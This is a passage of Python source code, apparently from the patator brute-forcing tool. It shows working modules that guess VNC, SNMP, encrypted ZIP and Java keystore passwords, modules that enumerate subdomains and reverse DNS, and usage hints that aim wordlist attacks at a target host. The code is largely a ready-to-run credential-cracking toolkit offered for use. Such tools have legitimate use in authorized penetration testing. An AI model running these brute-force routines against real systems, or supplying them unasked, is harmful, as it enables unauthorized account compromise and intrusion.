return 0

if t in (pycurl.INFOTYPE_HEADER_OUT, pycurl.INFOTYPE_DATA_OUT):
trace.write(s)

elif t in (pycurl.INFOTYPE_HEADER_IN, pycurl.INFOTYPE_DATA_IN):
trace.write(s)
response.write(s)

max_mem = int(max_mem)
response, trace = StringIO(), StringIO()

fp.setopt(pycurl.DEBUGFUNCTION, debug_func)
fp.setopt(pycurl.VERBOSE, 1)

if user_pass:
fp.setopt(pycurl.USERPWD, user_pass)
if auth_type == 'basic':
fp.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_BASIC)
elif auth_type == 'digest':
fp.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_DIGEST)
elif auth_type == 'ntlm':
fp.setopt(pycurl.HTTPAUTH, pycurl.HTTPAUTH_NTLM)
else:
raise NotImplementedError("Incorrect auth_type '%s'" % auth_type)

if ssl_cert:
fp.setopt(pycurl.SSLCERT, ssl_cert)

headers = [h.strip('\r') for h in header.split('\n') if h]
fp.setopt(pycurl.HTTPHEADER, headers) # warning: this disables the use of "Expect: 100-continue" header

if accept_cookie == '1':
fp.setopt(pycurl.COOKIEFILE, '')
# warning: do not pass a Cookie: header into HTTPHEADER if using COOKIEFILE as it will
# produce requests with more than one Cookie: header
# and the server will process only one of them (eg. Apache only reads the last one)

#if rrange: # commented out because the user may instead pass header='Range: -1024'
# fp.setopt(pycurl.RANGE, rrange)

def setup_fp(fp, method, url):
if method == 'GET':
fp.setopt(pycurl.HTTPGET, 1)

elif method == 'POST':
fp.setopt(pycurl.POST, 1)
fp.setopt(pycurl.POSTFIELDS, body)

elif method == 'HEAD':
fp.setopt(pycurl.NOBODY, 1)

else:
fp.setopt(pycurl.CUSTOMREQUEST, method)

#logger.debug('url: %s' % url)
fp.setopt(pycurl.URL, url)

if before_urls:
for before_url in before_urls.split(','):
setup_fp(fp, 'GET', before_url)
fp.perform()

path = quote(path)
query = urlencode(parse_qsl(query, True))
body = urlencode(parse_qsl(body, True))

if port:
host = '%s:%s' % (host, port)

url = urlunparse((scheme, host, path, params, query, fragment))
setup_fp(fp, method, url)
fp.perform()

if after_urls:
for after_url in after_urls.split(','):
setup_fp(fp, 'GET', after_url)
fp.perform()

http_code = fp.getinfo(pycurl.HTTP_CODE)
content_length = fp.getinfo(pycurl.CONTENT_LENGTH_DOWNLOAD)

return self.Response(http_code, content_length, response.getvalue(), trace.getvalue())

# }}}

# VNC {{{
try:
from Crypto.Cipher import DES
except ImportError:
warnings.append('pycrypto')

class VNC_Error(Exception): pass
class VNC:
def connect(self, host, port):
self.fp = socket.create_connection((host, port))
resp = self.fp.recv(1024) # banner
self.version = resp[:11]

if len(resp) > 12:
raise VNC_Error, self.version + ' ' + resp[20:]

return self.version

def login(self, password):
logger.debug("Remote version: %s" % self.version)
major, minor = self.version[6], self.version[10]

if major == '3' and minor == '8':
proto = 'RFB 003.008\n'

elif major == '3' and minor == '7':
proto = 'RFB 003.007\n'

else:
proto = 'RFB 003.003\n'

logger.debug('Client version: %s' % proto[:-1])
self.fp.sendall(proto)

if minor in ('7', '8'):
# send security type
resp = self.fp.recv(1024)
logger.debug("Security types supported: %s" % repr(resp))
self.fp.sendall('\x02') # always use classic VNC authentication

# read server challenge
resp = self.fp.recv(1024)
logger.debug('Remote challenge: %s' % repr(resp))

if minor == '3':
if len(resp) < 4:
raise VNC_Error, 'Unexpected response size (%d > 4): %s' % (len(resp), repr(resp))

code = ord(resp[3])
if code == 0:
raise VNC_Error, 'Session setup failed: %s' % repr(resp)

elif code == 1:
raise VNC_Error, 'No authentication required: %s' % repr(resp)

elif code == 2:
if len(resp) != 20:
raise VNC_Error, 'Unexpected challenge size (unsupported authentication type ?): %s' % repr(resp)

resp = resp[4:20]

else:
raise VNC_Error, 'Session setup unknown response'

pw = (password + '\0' * 8)[:8] # make sure it is 8 chars long, zero padded
key = self.gen_key(pw)
logger.debug('key: %s' % repr(key))

des = DES.new(key, DES.MODE_ECB)
enc = des.encrypt(resp)
logger.debug('enc: %s' % repr(enc))

self.fp.sendall(enc)
resp = self.fp.recv(1024)
logger.debug('resp: %s' % repr(resp))

code = ord(resp[3])
mesg = resp[8:]

if code == 1:
return code, mesg or 'Authentication failure'

elif code == 0:
return mesg or 'OK'

else:
raise VNC_Error, 'Unknown response: %s (code: %s)' % (repr(resp), code)


def gen_key(self, key):
newkey = []
for ki in range(len(key)):
bsrc = ord(key[ki])
btgt = 0
for i in range(8):
if bsrc & (1 << i):
btgt = btgt | (1 << 7-i)
newkey.append(chr(btgt))
return ''.join(newkey)


class VNC_login:
'''Brute-force VNC authentication'''

usage_hints = (
"""%prog host=10.0.0.1 password=FILE0 0=passwords.txt -x retry:fgrep!='Authentication failure' --max-retries -1 -x quit:code=0""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [5900]'),
('password', 'passwords to test'),
)
available_actions = ()

Response = Response_Base

def __init__(self):
self.m = VNC()
def execute(self, host, port=None, password=None):
try:
code, mesg = '0', self.m.connect(host, int(port or 5900))

if password is not None:
code, mesg = self.m.login(password)

except VNC_Error as (e,):
logger.debug('VNC_Error: %s' % e)
code, mesg = '2', e

return self.Response(code, mesg)

# }}}

# DNS {{{
class HostInfo:
def __init__(self):
self.name = set()
self.ip = set()
self.alias = set()

def __str__(self):
line = ''
if self.name:
line = ' '.join(self.name)
if self.ip:
if line: line += ' / '
line += ' '.join(map(str, self.ip))
if self.alias:
if line: line += ' / '
line += ' '.join(self.alias)

return line

class Controller_DNS(Controller):
hostmap = {}

# show_final {{{
def show_final(self):
'''
1.2.3.4 ftp.example.com
. www.example.com
. www2.example.com
noip cms.example.com -> www.mistake.com
'''
ipmap = {}
noips = set()

'''
hostmap = {
'ftp.example.com': {'ip': ['1.2.3.4'], 'alias': []},
'www.example.com': {'ip': ['1.2.3.4'], 'alias': ['www2.example.com']},
'www.mistake.com': {'ip': [], 'alias': ['cms.example.com']}, ...}
ipmap = {'1.2.3.4': {'name': ['www.example.com', 'ftp.example.com'], 'alias': ('www2.example.com')}}
noips = ['cms.example.com -> www.mistake.com', ...]
'''
for name, hinfo in self.hostmap.iteritems():
logger.debug('%s -> %s' % (name, hinfo))
if not hinfo.ip: # orphan CNAME hostnames (with no IP address) may be still valid virtual hosts
for alias in hinfo.alias:
noips.add('%s -> %s' % (alias, name))
else:
for ip in hinfo.ip:
if ip not in ipmap: ipmap[ip] = HostInfo()
ipmap[ip].name.add(name)
ipmap[ip].alias.update(hinfo.alias)

# pretty print
def pprint_info(key, infos):
first = True
for info in infos:
if first:
print('%34s %s' % (info, key))
first = False
else:
print('%34s %s' % (info, key))

print('Hostmap ' + '-'*42)
for ip, hinfo in sorted(ipmap.iteritems()):
pprint_info( ip, hinfo.name)
pprint_info('.', hinfo.alias)

pprint_info('noip', noips)

print('Domains ' + '-'*42)
domains = {}
networks = {}
for ip, hinfo in ipmap.iteritems():
for name in hinfo.name:
i = 1 if name.count('.') > 1 else 0
d = '.'.join(name.split('.')[i:])
if d not in domains: domains[d] = 0
domains[d] += 1

for domain, count in sorted(domains.iteritems(), key=lambda a:a[0].split('.')[-1::-1]):
print('%34s %d' % (domain, count))

print('Networks ' + '-'*41)
nets = {}
for ip in set(ipmap):
if not ip.version() == 4:
nets[ip] = [ip]
else:
n = ip.make_net('255.255.255.0')
if n not in nets: nets[n] = []
nets[n].append(ip)

for net, ips in sorted(nets.iteritems()):
if len(ips) == 1:
print(' '*10 + '%39s' % ips[0])
else:
print(' '*10 + '%37s.x' % '.'.join(str(net).split('.')[:-1]))

# }}}

def push_final(self, resp):
for name, hinfo in resp.hostmap.iteritems():
if name not in self.hostmap:
self.hostmap[name] = hinfo
else:
self.hostmap[name].ip.update(hinfo.ip)
self.hostmap[name].alias.update(hinfo.alias)

def generate_tld():
gtld = [
'aero', 'arpa', 'asia', 'biz', 'cat', 'com', 'coop', 'edu',
'gov', 'info', 'int', 'jobs', 'mil', 'mobi', 'museum', 'name',
'net', 'org', 'pro', 'tel', 'travel']

cctld = [''.join(i) for i in product(*[ascii_lowercase]*2)]
tld = gtld + cctld
return tld, len(tld)

def generate_srv():
common = [
'_gc._tcp', '_kerberos._tcp', '_kerberos._udp', '_ldap._tcp',
'_test._tcp', '_sips._tcp', '_sip._udp', '_sip._tcp', '_aix._tcp', '_aix._udp',
'_finger._tcp', '_ftp._tcp', '_http._tcp', '_nntp._tcp', '_telnet._tcp',
'_whois._tcp', '_h323cs._tcp', '_h323cs._udp', '_h323be._tcp', '_h323be._udp',
'_h323ls._tcp', '_h323ls._udp', '_sipinternal._tcp', '_sipinternaltls._tcp',
'_sip._tls', '_sipfederationtls._tcp', '_jabber._tcp', '_xmpp-server._tcp', '_xmpp-client._tcp',
'_imap.tcp', '_certificates._tcp', '_crls._tcp', '_pgpkeys._tcp', '_pgprevokations._tcp',
'_cmp._tcp', '_svcp._tcp', '_crl._tcp', '_ocsp._tcp', '_PKIXREP._tcp',
'_smtp._tcp', '_hkp._tcp', '_hkps._tcp', '_jabber._udp', '_xmpp-server._udp',
'_xmpp-client._udp', '_jabber-client._tcp', '_jabber-client._udp',
'_adsp._domainkey', '_policy._domainkey', '_domainkey', '_ldap._tcp.dc._msdcs', '_ldap._udp.dc._msdcs']

def distro():
import os
import re
files = ['/usr/share/nmap/nmap-protocols', '/usr/share/nmap/nmap-services', '/etc/protocols', '/etc/services']
ret = []
for f in files:
if not os.path.isfile(f):
logger.warn("File '%s' is missing, there will be less records to test" % f)
continue
for line in open(f):
match = re.match(r'([a-zA-Z0-9]+)\s', line)
if not match: continue
for w in re.split(r'[^a-z0-9]', match.group(1).strip().lower()):
ret.extend(['_%s.%s' % (w, i) for i in ('_tcp', '_udp')])
return ret

srv = set(common + distro())
return srv, len(srv)

try:
from DNS import DnsRequest, DNSError
except ImportError:
warnings.append('pydns')

class DNS_reverse:
'''Reverse lookup subnets'''

usage_hints = [
"""%prog host=NET0 0=192.168.0.0/24 -x ignore:code=3""",
"""%prog host=NET0 0=216.239.32.0-216.239.47.255,8.8.8.0/24 -x ignore:code=3 -x ignore:fgrep!=google.com -x ignore:fgrep=216-239-""",
]

available_options = (
('host', 'IP addresses to reverse'),
('server', 'name server to query (directly asking a zone authoritative NS may return more results) [8.8.8.8]'),
('timeout', 'seconds to wait for a DNS response [10]'),
)
available_actions = ()

Response = Response_Base

def execute(self, host, server='8.8.8.8', timeout='10'):
resolver = DnsRequest(qtype='PTR', server=server, timeout=int(timeout))

ip = IP(host)
ptr = ip.reverseName()
result = resolver.req(ptr.rstrip('.'))
hostnames = [ans['data'] for ans in result.answers]

hostmap = {}
for n in hostnames:
if n not in hostmap: hostmap[n] = HostInfo()
hostmap[n].ip.add(ip)

code = result.header['rcode']
status = result.header['status']
mesg = '%s %s' % (status, ', '.join(hostnames))

resp = self.Response(code, mesg)
resp.hostmap = hostmap

return resp

class DNS_forward:
'''Forward lookup subdomains'''

usage_hints = [
"""%prog domain=FILE0.google.com 0=names.txt -x ignore:code=3""",
"""%prog domain=google.MOD0 0=TLD -x ignore:code=3""",
"""%prog domain=MOD0.microsoft.com 0=SRV qtype=SRV -x ignore:code=3""",
]

available_options = (
('domain', 'domains to lookup'),
('server', 'name server to query (directly asking the zone authoritative NS may return more results) [8.8.8.8]'),
('timeout', 'seconds to wait for a DNS response [10]'),
('qtype', 'comma-separated list of types to query [ANY,A,AAAA]'),
)
available_actions = ()

available_keys = {
'TLD': generate_tld,
'SRV': generate_srv,
}

Response = Response_Base

def execute(self, domain, server='8.8.8.8', timeout='10', qtype='ANY,A,AAAA'):
resolver = DnsRequest(server=server, timeout=int(timeout))

hostmap = {}
for qt in qtype.split(','):
result = resolver.req(domain, qtype=qt.strip())

for r in result.answers + result.additional + result.authority:
t = r['typename']
n = r['name']
d = r['data']

if t not in ('A', 'AAAA', 'CNAME', 'DNAME', 'SRV'):
continue

if t == 'SRV':
_, _, _, d = d

if t in ('CNAME', 'DNAME', 'SRV'):
n, d = d, n

if n not in hostmap:
hostmap[n] = HostInfo()

if t == 'A':
hostmap[n].ip.add(IP(d))

elif t == 'AAAA':
hostmap[n].ip.add(IP(hexlify(d)))

elif t in ('CNAME', 'DNAME'):
hostmap[n].alias.add(d)

elif t == 'SRV':
hostmap[n].alias.add(d)

code = result.header['rcode']
status = result.header['status']
mesg = '%s %s' % (status, ' | '.join('%s / %s' % (k, v) for k, v in hostmap.iteritems()))

resp = self.Response(code, mesg)
resp.hostmap = hostmap

return resp

# }}}

# SNMP {{{
try:
from pysnmp.entity.rfc3413.oneliner import cmdgen
except ImportError:
warnings.append('pysnmp')

class SNMP_login:
'''Brute-force SNMP v1/2/3 authentication'''

usage_hints = (
"""%prog host=10.0.0.1 version=2 community=FILE0 1=names.txt -x ignore:mesg='No SNMP response received before timeout'""",
"""%prog host=10.0.0.1 version=3 user=FILE0 0=logins.txt -x ignore:mesg=unknownUserName""",
"""%prog host=10.0.0.1 version=3 user=myuser auth_key=FILE0 0=passwords.txt -x ignore:mesg=wrongDigest""",
)

available_options = (
('host', 'hostnames or subnets to target'),
('port', 'ports to target [161]'),
('version', 'SNMP version to use [2|3|1]'),
#('security_name', 'SNMP v1/v2 username, for most purposes it can be any arbitrary string [test-agent]'),
('community', 'SNMPv1/2c community names to test [public]'),
('user', 'SNMPv3 usernames to test [myuser]'),
('auth_key', 'SNMPv3 pass-phrases to test [my_password]'),
#('priv_key', 'SNMP v3 secret key for encryption'), # see http://pysnmp.sourceforge.net/docs/4.x/index.html#UsmUserData
#('auth_protocol', ''),
#('priv_protocol', ''),
('timeout', 'seconds to wait for a response [1]'),
('retries', 'number of successive request retries [2]'),
)
available_actions = ()

Response = Response_Base

def execute(self, host, port=None, version='2', community='public', user='myuser', auth_key='my_password', timeout='1', retries='2'):
if version in ('1', '2'):
security_model = cmdgen.CommunityData('test-agent', community, 0 if version == '1' else 1)

elif version == '3':
security_model = cmdgen.UsmUserData(user, auth_key) # , priv_key)
if len(auth_key) < 8:
return self.Response('1', 'SNMPv3 requires passphrases to be at least 8 characters long')

else:
raise NotImplementedError("Incorrect SNMP version '%s'" % version)

errorIndication, errorStatus, errorIndex, varBinds = cmdgen.CommandGenerator().getCmd(
security_model,
cmdgen.UdpTransportTarget((host, int(port or 161)), timeout=int(timeout), retries=int(retries)),
(1,3,6,1,2,1,1,1,0)
)

code = '%d-%d' % (errorStatus, errorIndex)
if not errorIndication:
mesg = '%s' % varBinds
else:
mesg = '%s' % errorIndication

return self.Response(code, mesg)

# }}}

# Unzip {{{
if not which('unzip'):
warnings.append('unzip')

class Response_Unzip(Response_Base):
def __init__(self, resp):
self.code, self.out, self.err = resp
self.size = len(self.out + self.err)
if '\n' in self.out:
self.mesg = self.out.splitlines()[-1]
else:
self.mesg = self.out

def __str__(self):
return '%s [%s] %s' % (self.code, self.size, self.mesg)

def dump(self):
return 'out: %s\n\nerr: %s' % (self.out, self.err)

class Unzip_pass:
'''Brute-force the password of encrypted ZIP files'''

usage_hints = [
"""%prog zipfile=path/to/file.zip password=FILE0 0=passwords.txt -x ignore:code!=0""",
]

available_options = (
('zipfile', 'ZIP files to test'),
('password', 'passwords to test'),
)

available_actions = ()

Response = Response_Unzip

def execute(self, zipfile, password):
zipfile = os.path.abspath(zipfile)
cmd = ['unzip', '-t', '-q', '-P', password, zipfile]
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out = p.stdout.read()
err = p.stderr.read()
code = p.wait()

return self.Response((code, out, err))

# }}}

# Keystore {{{
if not which('keytool'):
warnings.append('java')

class Response_Keystore(Response_Base):
def __init__(self, resp):
self.code, self.out, self.err = resp
self.size = len(self.out + self.err)
self.mesg = self.out.replace('\n', ' ')

def __str__(self):
return '%s [%s] %s' % (self.code, self.size, self.mesg)

def dump(self):
return 'out: %s\nerr: %s' % (self.out, self.err)

class Keystore_pass:
'''Brute-force the password of Java keystore files'''

usage_hints = [
"""%prog keystore=path/to/keystore.jks password=FILE0 0=passwords.txt -x ignore:fgrep='password was incorrect'""",
]

available_options = (
('keystore', 'keystore files to test'),
('password', 'passwords to test'),
('storetype', 'type of keystore to test'),
)

available_actions = ()

Response = Response_Keystore

def execute(self, keystore, password, storetype='jks'):
keystore = os.path.abspath(keystore)
cmd = ['keytool', '-list', '-keystore', keystore, '-storepass', password, '-storetype', storetype]
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out = p.stdout.read()
err = p.stderr.read()
code = p.wait()

return self.Response((code, out, err))

# }}}

# modules {{{
modules = (
'ftp_login', (Controller, FTP_login),
'ssh_login', (Controller, SSH_login),
'telnet_login', (Controller, Telnet_login),
'smtp_login', (Controller, SMTP_login),
'smtp_vrfy', (Controller, SMTP_vrfy),
'smtp_rcpt', (Controller, SMTP_rcpt),
'http_fuzz', (Controller_HTTP, HTTP_fuzz),
'pop_passd', (Controller, POP_passd),
'smb_login', (Controller, SMB_login),
'ldap_login', (Controller, LDAP_login),
'mssql_login', (Controller, MSSQL_login),
'oracle_login', (Controller, Oracle_login),
'mysql_login', (Controller, MySQL_login),
#'rdp_login', '',
'pgsql_login', (Controller, Pgsql_login),
'vnc_login', (Controller, VNC_login),

'dns_reverse', (Controller_DNS, DNS_reverse),
'dns_forward', (Controller_DNS, DNS_forward),
'snmp_login', (Controller, SNMP_login),

'unzip_pass', (Controller, Unzip_pass),
'keystore_pass', (Controller, Keystore_pass),
)

module_deps = {
'paramiko': [('ssh_login',), 'http://www.lag.net/paramiko/'],
'pycurl': [('http_fuzz',), 'http://pycurl.sourceforge.net/'],
'openldap': [('ldap_login',), 'http://www.openldap.org/'],
'impacket': [('smb_login',), 'http://oss.coresecurity.com/projects/impacket.html'],
'cx_Oracle': [('oracle_login',), 'http://cx-oracle.sourceforge.net/'],
'mysql-python': [('mysql_login',), 'http://sourceforge.net/projects/mysql-python/'],
'psycopg': [('pgsql_login',), 'http://initd.org/psycopg/'],
'pycrypto': [('vnc_login',), 'http://www.dlitz.net/software/pycrypto/'],
'pydns': [('dns_reverse', 'dns_forward'), 'http://pydns.sourceforge.net/'],
'pysnmp': [('snmp_login',), 'http://pysnmp.sf.net/'],
'unzip': [('unzip_pass',), 'http://www.info-zip.org/'],
'java': [('keystore_pass',), 'http://www.oracle.com/technetwork/java/javase/'],
}
# }}}

# main {{{
if __name__ == '__main__':
from sys import argv
from os.path import basename

def show_usage():
print('''Usage:
$ ./patator.py module --help
or
$ ln -s patator.py module
$ ./module --help

Available modules:
%s''' % '\n'.join(' + %-13s : %s' % (k, v[1].__doc__) for k, v in modules))

exit(2)

# module name
modules = zip(modules[0::2], modules[1::2])
available = dict((k, v) for k, v in modules)

name = basename(argv[0]).lower()
if name not in available:
if len(argv) == 1:
show_usage()
name = basename(argv[1]).lower()
if name not in available:
show_usage()
argv = argv[1:]

# dependencies
abort = False
for w in warnings:
mods, url = module_deps[w]
if name in mods:
print('ERROR: %s (%s) is required to run %s.' % (w, url, name))
abort = True

if abort:
print('Please read the README inside for more information.')
exit(3)

# start
ctrl, module = available[name]
powder = ctrl(module, [name] + argv[1:])
powder.fire()

# }}}

# vim: ts=2 sw=2 sts=2 et fdm=marker

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